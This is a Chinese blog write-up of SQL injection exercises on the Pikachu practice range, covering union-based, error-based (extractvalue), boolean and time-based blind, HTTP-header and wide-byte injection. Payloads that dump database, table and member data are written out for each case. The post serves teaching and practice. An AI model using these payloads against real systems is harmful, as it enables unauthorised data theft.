pikachu靶场-SQL-Inject

介绍:

在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

1. 数字型注入(post):

输入框输入1,用 hackbar 分割 url ,和传参。

我们先猜想一下查询语句原理:
$id=$_POST['id'];
select name,email from users where id=1; //大概就是将输入的id传进去
构造payload:
select name,email from users where id=1 or 1 = 1;

SQL注入成功,爆出当前的所有信息,我们继续使用联合查询爆出其他信息。

select name,email from users where id=1 or 1 = 1;
select name,email from users where id=1 union select 1,2

只发现两个字段。我们去爆库,爆表啥的。

爆出数据库名:

1 union select 1,database()

爆出所有表名:

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'

爆破所有字段:

1  union select 1,group_concat(column_name) from information_schema.columns where table_name='member'

爆出字段信息:

1 union select 1,group_concat(username,email) from member

2. 字符型注入(get):

题目明确给出了是字符型的注入,则传递的参数在SQL语句中是有单引号或者双引号的。

我们猜测一下其原理:

语句皆为推测:
$id=$_GET["lucy"]
select username,email from users where id="$id"; //可能是单引号可能是双引号;
先考虑为 " 
lucy"# //出现报错
考虑为 ' 
lucy'# //成功查询

爆库爆表等操作直接拼接即可。

3. 搜索型注入 :

这个就类似mysql的模糊查询,关键字是like。

其语法是:

selcet * from tables where columns like '%lu%'
在此题我们同样是考虑闭合和单双引号,由上题可知这个靶场的作者用的全是单引号

我们可以看到是get传参,我们开始构造原理。

$name=$_GET[name];
select name,email from users where like '%$name%';
构造闭合:
'%xxx%'#%'---->xxx%'#
我们直接遍历当前表的数据:
xxx%'or 1=1#

4.xx型注入:

不知道什么是XX型,但是我们要清楚,不管是什么类型只要能成功闭合就NB,我们去看看后端代码:

=('')
这种形式挺好构造闭合的
=('') or 1=1#') --->') or 1=1#  //很简单

遍历数据:

5."insert/update"注入:

insert/update 再结合靶场,很明显这里是通过SQL语句的插入或者修改来存放数据。

也就是 mysql 的 插入和 修改 语句。

我们可以先看一下当前数据库,来先构造 insert 语句。

insert into member (id,username,pw,sex,phonenum,address,email) values (8,'kitha',111,'boy',111111,'usa',111);
可以用 or 来构造闭合:
题目是提交5个数据
insert into member (username,pw,sex,phonenum,address,email) values ('kitha',111,'boy',111111,'usa',111);
构造爆库payload
insert into member (username,pw,sex,phonenum,address,email) values ('1' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '',111,'boy',111111,'usa',111);
1' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '

6."delete"注入:

我们随便删一个数据,再用bp抓包看一下。

可以看到这里是把 id 直接拼接到sql语句里面。

猜测sql语句:

delect from infromation where id =$id;
$id = $_GET[id];
爆库:
1 or extractvalue(1, concat(0x7e,(select database()),0x7e))

使用bp修改数据放包。get请求记得url编码。

7."http header"注入:

有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等

会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL Inject漏洞。

我们先登录看看,很明显是后端对我们的客户端信息进行了获取。

我们用bp抓包,把 user-agent 修改,放包,查看回显,发现报错,可以判断这个存在SQL注入。这里可能是获取了user-agent 信息,再 insert 到数据库。我们直接构造payload。

报错注入:
1' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '

8. 基于boolian的盲注:

介绍:

基于boolean的盲注主要表现症状:

1.没有报错信息。

2.不管是正确的输入,还是错误的输入,都只显示两种情况 (我们可以认为是0或者1)2.在正确的输入下,输入and 1=1/and 1=2发现可以判断。

经过多次测试发现:

kobe' and 1=1#

kobe' and 1=2#

第一个有正确的回显,第二个不是,则可以判断出这个存在注入。

很明显回显只有两种,且我们的语句都为真,才能出现正确的回显。我们可以利用,length(),substr(),ascii()等等,来拼接,根据回显来一个一个来判断和获取字符。(超级麻烦,建议这种直接交给工具)。

我们先来对数据库名的长度来判断。

kobe' and length(database())>6#
kobe' and length(database())>7#

这里就可以判断出数据库的长度为7。

我们再对第一个字符进行判断。

kobe' and ascii(substr(database(),1,1))=112#  //ascii表 112对应p

这里就可以判断出数据库的第一个字符为p,以此类推可以判断出所有的字符。

9. 基于时间的盲注:

介绍:

如果说基于boolean的盲注在页面上还可以看到0 or 1的回显的话那么基于time的盲注完全就啥都看不到了!

但还有一个条件,就是“时间”,通过特定的输入,判断后台执行的时间,从而确认注入!

常用的Teat Payload: 1 and sleep(5)#

这里不管输入啥,回显都是一样的。

我们输入 kebo' sleep(5)# 页面会加载5秒才会回显 说明存在时间注入。

kobe' sleep(5)#

我们再构造payload来取数据库名的第一个字符,输入以下payload,页面加载5秒才会显说明 if 的判断为真。

kobe' and if((substr(database(),1,1))='p',sleep(5),null)# 

可以判断出,当前数据库名的第一个字符为p。

10. wide byte注入:

介绍:

phpmysql默认的字符集不同。

宽字节注入原理

在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;

MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);

PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27;

可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;

%5c被吃掉了,单引号由此逃逸可以用来闭合语句。

使用PHP函数iconv(‘utf-8’,‘gbk’,$_GET[‘id’]),也可能导致注入产生。

' ---> \'
%27 ---> %5c%27
%df%5c%27 --->%df%5c(被当成汉字)%27

由上,我们构造 payload:

kobe%df' or 1=1#

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2804126.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

Android中Transition过渡动画的简单使用

前些天发现了一个蛮有意思的人工智能学习网站,8个字形容一下"通俗易懂&#xff0c;风趣幽默"&#xff0c;感觉非常有意思,忍不住分享一下给大家。 &#x1f449;点击跳转到教程 一、布局xml文件代码如下&#xff1a; <?xml version"1.0" encoding&quo…

C#与VisionPro联合开发——INI存储和CSV存储

1、INI存储 INI 文件是一种简单的文本文件格式&#xff0c;通常用于在 Windows 环境中存储配置数据。INI 文件格式由一系列节&#xff08;section&#xff09;和键值对&#xff08;key-value pairs&#xff09;组成&#xff0c;用于表示应用程序的配置信息。一个典型的 INI 文…

德州红马来酰亚胺,Texas Red-Mal,标记反应反应迅速、选择性高

您好&#xff0c;欢迎来到新研之家 文章关键词&#xff1a;德州红马来酰亚胺&#xff0c;Texas Red maleimide &#xff0c;Texas Red Mal&#xff0c;Texas Red-maleimide &#xff0c;Texas Red-Mal 一、基本信息 【产品简介】&#xff1a;Texas Red maleimide is a fluor…

论文笔记:利用词对比注意增强预训练汉字表征

整理了 ACL2020短文 Enhancing Pre-trained Chinese Character Representation with Word-aligned Att&#xff09;论文的阅读笔记 背景模型实验 论文地址&#xff1a;论文 背景 近年来&#xff0c;以 BERT 为代表的预训练模型在 NLP 领域取得取得了非常显著的效果。但是&…

前端数据可视化:ECharts使用

可视化介绍 ​  ​  应对现在数据可视化的趋势&#xff0c;越来越多企业需要在很多场景(营销数据&#xff0c;生产数据&#xff0c;用户数据)下使用&#xff0c;可视化图表来展示体现数据&#xff0c;让数据更加直观&#xff0c;数据特点更加突出。   ​  数据可视化主要目…

【工具】阿莫智能设备之脱机烧录器K202C-1

注意&#xff0c;本文档仅仅是介绍烧录器的资料构成&#xff0c;并非烧录器的说明书&#xff0c;详细请看各对说明书及视频。 1. 资料图解 首先需要下载资料&#xff0c;通常稳定发布版本可以从 www.amomcu.cn 下载&#xff0c; 也可以向我们客服获取最新版本&#xff0c; 获…

4G模块获取多个基站信息

获取多个基站信息&#xff0c;需要将其模块注网上不同的频段 以下使用ATQCFG"band" 配置频段 验证一 ATQENG"SERVINGCELL" 获取注网信息解析说明 在没锁频之前查询注网信息 [2024-02-23_11:22:41:108]ATCPIN? [2024-02-23_11:22:41:108]CPIN: R…

推荐系统经典模型YouTubeDNN

文章目录 YouTubeDNN概念YouTubeDNN模型架构图YouTubeDNN召回阶段YouTubeDNN层级介绍 YouTubeDNN排序阶段YoutubeDNN模型中的一些Trick负采样问题特征构造上下文选择 总结 YouTubeDNN概念 YouTubeDNN是YouTube用于做视频推荐的落地模型&#xff0c;其大体思路就是召回阶段使用…

Linux系统运维:离线安装sar-性能监视和分析工具

目 录 一、前言 二、系统环境 三、安装sar &#xff08;一&#xff09;准备工作 1、下载 sar 工具的安装包&#xff1a; 2、将安装包传输到 CentOS 服务器 &#xff08;二&#xff09;安装工作 1、解压 2、配置安装 3、编译 4、安装 &#xff08;三&#xff0…

每日五道java面试题之spring篇(四)

目录&#xff1a; 第一题 Spring框架的设计目标&#xff0c;设计理念&#xff0c;和核心是什么&#xff1f;第二题. Spring由哪些模块组成&#xff1f;第三题. 详细讲解一下核心容器&#xff08;spring context应用上下文) 模块第四题.Spring框架中有哪些不同类型的事件第五题.…

【2024软件测试面试必会技能】Jmeter_性能测试(6):收集性能测试结果

收集性能测试结果 性能测试执行过程中&#xff0c;场景监控的主要任务是收集测试结果&#xff0c;测试结果有事 务响应时间、吞吐量、TPS、服务器硬件性能、JVM使用情况和数据库性能状态 等。Jmeter中通过监听器及其它外置工具来完成测试结果收集工作 事务响应时间 用户从发…

html的无语义标签:div span

html的无语义标签&#xff1a;div & span 无语义标签&#xff1a;div & span 标题&#xff0c;段落&#xff0c;图片等都是通过固定的标签来表示&#xff0c;标题用h1~h6标签来表示&#xff0c;段落用p标签来表示&#xff0c;图片用img标签来表示……每个标签都有自己…

RRT算法学习及MATLAB演示

文章目录 1 前言2 算法简介3 MATLAB实现3.1 定义地图3.2 绘制地图3.3 定义参数3.4 绘制起点和终点3.5 RRT算法3.5.1 代码3.5.2 效果3.5.3 代码解读 4 参考5 完整代码 1 前言 RRT&#xff08;Rapid Random Tree&#xff09;算法&#xff0c;即快速随机树算法&#xff0c;是LaVa…

ORA-02062: distributed recovery received DBID 9ad10df5, expected 38cc1cd5

今晚做重启维护&#xff0c;发现节点二上报错如下 Fri Feb 23 21:47:43 2024 Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl2/trace/orcl2_reco_58540.trc: ORA-02062: distributed recovery received DBID 9ad10df5, expected 38cc1cd5 Errors in file /u01/app/oracl…

稀疏计算、彩票假说、MoE、SparseGPT

稀疏计算可能是未来10年内最有潜力的深度学习方向之一&#xff0c;稀疏计算模拟了对人脑的观察&#xff0c;人脑在处理信息的时候只有少数神经元在活动&#xff0c;多数神经元是不工作的。而稀疏计算的基本思想是&#xff1a;在计算过程中&#xff0c;将一些不重要的参数设置为…

yolov9目标检测报错AttributeError: ‘list‘ object has no attribute ‘device‘

最近微智启软件工作室在运行yolov9目标检测的detect.py测试代码时&#xff0c;报错&#xff1a; File “G:\down\yolov9-main\yolov9-main\detect.py”, line 102, in run pred non_max_suppression(pred, conf_thres, iou_thres, classes, agnostic_nms, max_detmax_det) Fil…

基于ssm的校园帮系统设计与实现(源码+调试)

项目描述 临近学期结束&#xff0c;还是毕业设计&#xff0c;你还在做java程序网络编程&#xff0c;期末作业&#xff0c;老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。今天给大家介绍一篇基于ssm的校园帮系统设计…

一篇文章搞懂CDN加速原理

目录 一、什么是CDN CDN对网络的优化作用主要体现在以下几个方面&#xff1a; 二、CDN工作原理 CDN网络的组成元素&#xff1a; 三、名词解释 3.1 CNAME记录&#xff08;CNAME record&#xff09; 3.2 CNAME域名 3.3 DNS 3.4 回源host 3.5 协议回源 一、什么是CDN CD…

在Win11下安装pytorch3d

安装Visual Studio 安装的时候一定要选择language C。 安装成功后&#xff0c;将cl.exe的路径添加到环境变量Path中。 一般cl.exe的地址是在Microsoft Visual Studio***\VC\bin\amd64\里面。 安装依赖项 conda create -n pytorch3d python3.10 conda activate pytorch3d co…

Python实战:读取MATLAB文件数据(.mat文件)

Python实战&#xff1a;读取MATLAB文件数据(.mat文件) &#x1f308; 个人主页&#xff1a;高斯小哥 &#x1f525; 高质量专栏&#xff1a;Matplotlib之旅&#xff1a;零基础精通数据可视化、Python基础【高质量合集】、PyTorch零基础入门教程 &#x1f448; 希望得到您的订阅…